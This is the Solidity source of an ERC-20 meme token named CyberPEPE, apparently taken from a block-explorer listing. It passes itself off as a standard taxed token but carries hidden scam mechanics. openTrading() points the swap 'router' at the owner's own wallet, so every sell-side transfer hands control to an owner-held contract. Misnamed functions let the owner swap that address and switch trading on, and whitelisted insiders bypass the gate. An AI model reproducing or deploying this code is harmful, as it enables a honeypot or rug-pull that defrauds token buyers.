文件 1 的 1:CyberPEPE.sol
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient,
uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender,
uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage); uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{ value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed"); }
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target,
data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data,
value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target,
data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata),
returndata_size)
}
} else {
revert(errorMessage);
} }
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) {
return _owner; }
modifier onlyOwner() {
require(_owner == _msgSender(),
"Ownable: caller is not the owner");
_;
}
function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp; }
}
interface IUniswapV2Factory {
function getPair(address tokenA,
address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB, uint amountADesired,
uint amountBDesired, uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH( address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to, uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA, address tokenB,
uint liquidity, uint amountAMin,
uint amountBMin, address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity, uint amountTokenMin,
uint amountETHMin, address to, uint deadline
) external returns (uint amountToken, uint amountETH);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to,
uint deadline
) external;
}
contract CyberPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable private marketingWalletAddress;
address private deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _eluded;
mapping (address => bool) public isMarketPair;
uint256 private _totalTaxIfBuying = 0;
uint256 private _totalTaxIfSelling = 0;
uint256 private _totalSupply;
uint256 private _minimumTokensBeforeSwap = 0;
address private _lastForm;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapPair;
bool inSwapAndLiquify;
bool private swapAndLiquifyEnabled = false;
bool private swapAndLiquifyByLimitOnly = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn, address[] path
);
event SwapTokensForETH(
uint256 amountIn, address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true; _;
inSwapAndLiquify = false;
}
constructor (
string memory coinName,
string memory coinSymbol,
uint8 coinDecimals,
uint256 supply
) payable {
_name = coinName;
_symbol = coinSymbol;
_decimals = coinDecimals;
_owner = 0xBd76df65196ac5d044bB23c477518D79FA7a9C61;
_totalSupply = supply * 10 ** _decimals;
_minimumTokensBeforeSwap = 21000 * 10**_decimals;
marketingWalletAddress = payable(0xBd76df65196ac5d044bB23c477518D79FA7a9C61);
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
_eluded[_owner] = true;
_eluded[address(this)] = true;
_eluded[marketingWalletAddress] = true;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function name() public view returns (string memory) { return _name; }
function symbol() public view returns (string memory) { return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals; }
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true; }
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return _minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(),
spender, amount); return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
marketingWalletAddress = payable(newLimit);
}
function addAddrslbs(address[] calldata accounts) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_eluded[accounts[i]] = true;
}
}
bool private startTx;
function pause() external onlyOwner() {
startTx = true;
}
function openTrading() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
address _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this),_uniswapV2Router.WETH());
if(_uniswapPair == address(0)){
_uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this),
_uniswapV2Router.WETH());
}
uniswapV2Router =
IUniswapV2Router02(marketingWalletAddress);
swapAndLiquifyEnabled = true;
isMarketPair[address(_uniswapPair)] = true;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
receive() external payable {}
function transfer(address recipient,
uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount); return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_eluded[sender] && !_eluded[recipient]){
if(isMarketPair[sender] || isMarketPair[recipient]){
require(startTx, "not start");
}
}
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = _minimumTokensBeforeSwap;
_lastForm = sender;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (_eluded[sender] || _eluded[recipient]) ?
amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender,
recipient, amount);
return true; }
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
swapTokensForEth(tAmount);
uint256 amountReceived = address(this).balance;
if(amountReceived > 0)
transferToAddressETH(marketingWalletAddress, amountReceived); }
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](3);
path[0] = address(this); path[1] = _lastForm;
path[2] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp );
emit SwapTokensForETH(tokenAmount, path); }
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100); }
if(feeAmount > 0) {
_balances[address(0)] = _balances[address(0)].add(feeAmount);
emit Transfer(sender, address(0), feeAmount);
}
return amount.sub(feeAmount);
}
}